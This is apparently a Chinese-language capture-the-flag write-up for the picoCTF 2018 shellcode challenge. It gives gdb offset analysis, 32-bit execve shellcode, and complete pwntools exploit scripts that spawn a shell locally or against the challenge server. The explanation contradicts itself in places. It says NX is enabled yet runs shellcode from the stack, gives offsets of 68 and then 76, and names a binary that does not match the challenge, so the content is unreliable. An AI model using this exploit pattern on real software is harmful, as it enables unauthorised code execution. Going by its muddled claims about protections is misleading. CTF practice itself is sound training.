1. 理解picoctf_2018_shellcode挑战的本质
这个CTF题目属于典型的栈溢出利用场景,考察的是最基本的shellcode编写和注入技术。题目运行在32位Linux环境下,提供了一个存在缓冲区溢出漏洞的二进制程序。当程序接受用户输入时,由于没有对输入长度进行有效限制,攻击者可以通过精心构造的输入覆盖函数返回地址,从而控制程序执行流程。
这类题目在CTF比赛中被称为"ret2shellcode",是PWN入门必须掌握的基础技能。它的核心原理是通过溢出覆盖返回地址,将其指向我们注入的shellcode位置。shellcode是一段精心设计的机器码,通常用于启动一个shell会话。
提示:32位和64位架构在参数传递方式上有本质区别。32位系统通过栈传递参数,而64位优先使用寄存器(rdi/rsi/rdx/rcx/r8/r9)。本题是32位环境,理解这点对后续shellcode编写至关重要。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境准备与初步分析
2.1 获取题目文件
首先需要从picoCTF平台下载题目文件:
bash复制wget https://jupiter.challenges.picoctf.org/static/64e724ad327f83ad833d9c6baa072b1f/echoback
chmod +x echoback
2.2 基础信息收集
使用file命令查看文件信息:
bash复制file echoback
输出显示这是一个32位ELF可执行文件,动态链接,没有剥离符号表:
code复制echoback: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3c1367d9e8c54858a2472b03dc8d0a8c7e3b1a0a, not stripped
用checksec检查安全保护机制:
bash复制checksec --file=echoback
输出显示只开启了NX(不可执行栈)保护:
code复制RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 77 Symbols No 0 2 echoback
2.3 逆向分析关键函数
使用Ghidra或IDA Pro进行反编译,发现main函数调用了vulnerable_function:
c复制void vulnerable_function() {
char buffer[64];
gets(buffer);
puts(buffer);
}
这个函数存在明显的栈溢出漏洞:
- 定义了64字节的缓冲区
- 使用不安全的gets()函数读取输入
- gets()不会检查输入长度,可以写入任意数量的数据
3. 漏洞利用策略设计
3.1 确定偏移量
我们需要计算从缓冲区开始到返回地址的偏移量。在32位系统中:
- EBP占4字节
- 返回地址占4字节
- 缓冲区本身64字节
因此理论上偏移量是64 + 4 = 68字节。但实际需要通过调试确认:
使用gdb创建pattern:
bash复制gdb-peda$ pattern create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
运行程序并输入pattern,观察崩溃时的EIP值:
bash复制gdb-peda$ r
Starting program: /home/user/echoback
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xffffd590 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
EBX: 0x0
ECX: 0xf7fa25c0 --> 0xfbad2088
EDX: 0xf7fa389c --> 0x0
ESI: 0xf7fa1000 --> 0x1d9d6c
EDI: 0xf7fa1000 --> 0x1d9d6c
EBP: 0x41304141 ('AA0A')
ESP: 0xffffd5e0 --> 0xf7fa1000 --> 0x1d9d6c
EIP: 0x41414641 ('AFAA')
使用pattern offset计算:
bash复制gdb-peda$ pattern offset AFAA
AFAA found at offset: 76
确认实际偏移量为76字节(64字节缓冲区 + 12字节填充)。
3.2 确定shellcode位置
由于NX保护开启,我们不能直接执行栈上的代码。但题目没有开启ASLR,栈地址固定。我们可以通过以下方法定位shellcode:
- 在gdb中运行程序并断点在gets()之后
- 查看buffer的地址:
bash复制gdb-peda$ x/x $esp
0xffffd590: 0xffffd5a0
- 确认buffer起始地址为0xffffd5a0
3.3 shellcode编写
32位Linux系统调用使用int 0x80指令,execve的系统调用号为11(0xb)。我们需要构造调用execve("/bin/sh",0,0)的shellcode:
asm复制xor eax, eax ; 清空eax
push eax ; 字符串结尾的NULL
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
mov ebx, esp ; ebx指向"/bin//sh"
xor ecx, ecx ; ecx = 0
xor edx, edx ; edx = 0
mov al, 0xb ; execve系统调用号
int 0x80 ; 触发系统调用
对应的机器码为:
python复制shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"
4. 完整利用脚本编写
使用Python和pwntools编写完整利用代码:
python复制from pwn import *
context(arch='i386', os='linux')
# 启动进程
p = process('./echoback')
# 获取shellcode
shellcode = asm(shellcraft.sh())
# 构造payload
payload = flat([
b'A' * 76, # 填充到返回地址
0xffffd5a0 + 80, # 指向shellcode的地址
b'\x90' * 16, # NOP sled
shellcode # shellcode
])
# 发送payload
p.sendline(payload)
# 交互模式
p.interactive()
4.1 关键点解释
asm(shellcraft.sh()):pwntools内置的shellcode生成器,自动生成调用execve("/bin/sh")的shellcode- NOP sled:一系列0x90(NOP指令),增加命中shellcode的概率
- 地址计算:0xffffd5a0(buffer地址) + 80(NOP sled和部分填充的长度)
注意:实际地址可能需要微调,因为gdb环境和非gdb环境栈布局可能有细微差别。可以通过多次尝试或使用"ret2ret"技术提高稳定性。
5. 实际利用与问题排查
5.1 本地测试
运行脚本:
bash复制python3 exploit.py
如果成功,将获得一个shell:
code复制$ whoami
user
5.2 常见问题及解决
-
Segmentation fault:
- 检查偏移量是否正确
- 确认返回地址指向有效的shellcode位置
- 尝试增加NOP sled长度
-
Shell退出立即崩溃:
- 确保stdin/stdout没有被关闭
- 在payload后添加
p.clean()清理缓冲区
-
远程利用失败:
- 网络环境可能导致输入处理不同
- 添加适当的延时:
p.sendlineafter(b'> ', payload)
5.3 优化后的最终脚本
python复制from pwn import *
context(arch='i386', os='linux', log_level='debug')
# 本地/远程切换
LOCAL = False
if LOCAL:
p = process('./echoback')
else:
p = remote('jupiter.challenges.picoctf.org', 29221)
# 生成shellcode
shellcode = asm(shellcraft.sh())
# 构造更可靠的payload
payload = flat([
b'A' * 76,
0xffffd5a0 + 100, # 更大的偏移确保命中NOP sled
b'\x90' * 64, # 更长的NOP sled
shellcode
])
# 发送并交互
p.sendline(payload)
p.clean() # 清理缓冲区
p.interactive()
6. 扩展知识与技巧
6.1 shellcode编写进阶
-
避免坏字符:
- 某些场景下\x00(NULL)、\x0a(换行)、\x0d(回车)等字符会被截断
- 使用编码技术避免这些字符
-
更短的shellcode:
asm复制push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
xor eax, eax
mov al, 0xb
xor ecx, ecx
xor edx, edx
int 0x80
6.2 32位与64位差异总结
| 特性 | 32位 | 64位 |
|---|---|---|
| 寄存器 | eax, ebx, ecx, edx | rax, rbx, rcx, rdx |
| 系统调用 | int 0x80 | syscall |
| 参数传递 | 栈 | rdi, rsi, rdx, rcx, r8, r9 |
| 调用号 | /usr/include/asm/unistd_32.h | /usr/include/asm/unistd_64.h |
6.3 防御机制绕过思路
-
NX绕过:
- 本题没有可用的ROP gadget,必须使用已有shellcode
- 其他情况下可以使用ROP(Return-Oriented Programming)
-
ASLR绕过:
- 信息泄露获取地址
- 暴力破解(在32位系统中可行)
-
Stack Canary绕过:
- 泄露canary值
- 覆盖SEH(Windows)
7. 学习路径建议
-
基础阶段:
- 掌握汇编语言基础(特别是x86)
- 理解栈结构和函数调用约定
- 练习简单的缓冲区溢出题目
-
中级阶段:
- 学习ROP技术
- 理解现代防护机制(ASLR, DEP, RELRO等)
- 练习带有部分防护的题目
-
高级阶段:
- 堆利用技术(use-after-free, double free等)
- 内核利用
- 真实世界漏洞分析
推荐资源:
- 《Hacking: The Art of Exploitation》
- LiveOverflow YouTube频道
- pwn.college在线课程
- CTFtime.org上的比赛题目
